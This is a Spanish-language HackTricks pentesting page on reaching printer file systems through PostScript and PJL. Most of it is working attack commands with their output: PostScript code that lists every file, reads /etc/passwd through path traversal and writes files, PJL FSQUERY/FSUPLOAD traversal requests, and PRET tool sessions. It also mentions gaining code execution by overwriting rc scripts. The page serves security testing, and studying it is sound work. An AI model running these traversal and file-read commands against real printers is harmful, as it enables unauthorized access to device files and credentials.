hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PostScript

Recupera información sensible como archivos de configuración o trabajos de impresión almacenados, RCE escribiendo archivos (como editar scripts rc o reemplazar archivos binarios). Se definen constructos de lenguaje legítimos para PostScript y PJL para acceder al sistema de archivos.

Accede al sistema de archivos con PostScript (ten en cuenta que podría estar limitado a acciones inofensivas):

> /str 256 string def (%*%../*)                               % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def                                                % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
>   (%stdout) (w) file byte writestring}
>   {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}}                         % write to file
> outfile (Hello World!) writestring
> outfile closefile

Puedes utilizar los comandos de PRET: ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz y df.

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d        -   Jan  1  1970 (created Jan  1  1970)  bootdev
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi_ss
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_ram0
d        -   Jan  1  1970 (created Jan  1  1970)  etc
d        -   Jan  1  1970 (created Jan  1  1970)  tmp
d        -   Jan  1  1970 (created Jan  1  1970)  webServer

PJL

PJL (Printer Job Language) es un lenguaje de control de impresoras que se utiliza para enviar comandos a la impresora. Los comandos PJL se envían antes de que se envíe el trabajo de impresión y se utilizan para configurar la impresora y controlar el trabajo de impresión.

Algunos comandos PJL útiles son:

  • @PJL INFO CONFIG - Muestra la configuración actual de la impresora.
  • @PJL JOB PASSWORD = "password" - Establece una contraseña para el trabajo de impresión.
  • @PJL FSUPLOAD - Carga un archivo en el sistema de archivos de la impresora.
  • @PJL FSINFO - Muestra información sobre el sistema de archivos de la impresora.
  • @PJL DIRLIST - Muestra una lista de archivos en el sistema de archivos de la impresora.

Para utilizar los comandos PJL, se puede enviar un archivo de impresión que contenga los comandos PJL necesarios. También se puede utilizar una herramienta como netcat para enviar los comandos PJL directamente a la impresora.

Es importante tener en cuenta que algunos comandos PJL pueden ser peligrosos y permitir el acceso no autorizado al sistema de archivos de la impresora. Por lo tanto, es importante asegurarse de que la impresora esté configurada de manera segura y de que se utilicen contraseñas fuertes para proteger los trabajos de impresión.

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535               (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd"                     (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt"                  (write to file)
> Hello World!

De todas formas, acceder a archivos con PJL no es compatible con muchos impresoras.

Puedes utilizar los comandos de PRET: ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz y df.

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d        -   bootdev
d        -   dsk_jdi
d        -   dsk_jdi_ss
d        -   dsk_ram0
d        -   etc
d        -   lrt
d        -   tmp
d        -   webServer
d        -   xps

Aprende más sobre posibles formas de evitar el sandboxing utilizando limitaciones de PostScript y PJL en http://hacking-printers.net/wiki/index.php/File_system_access.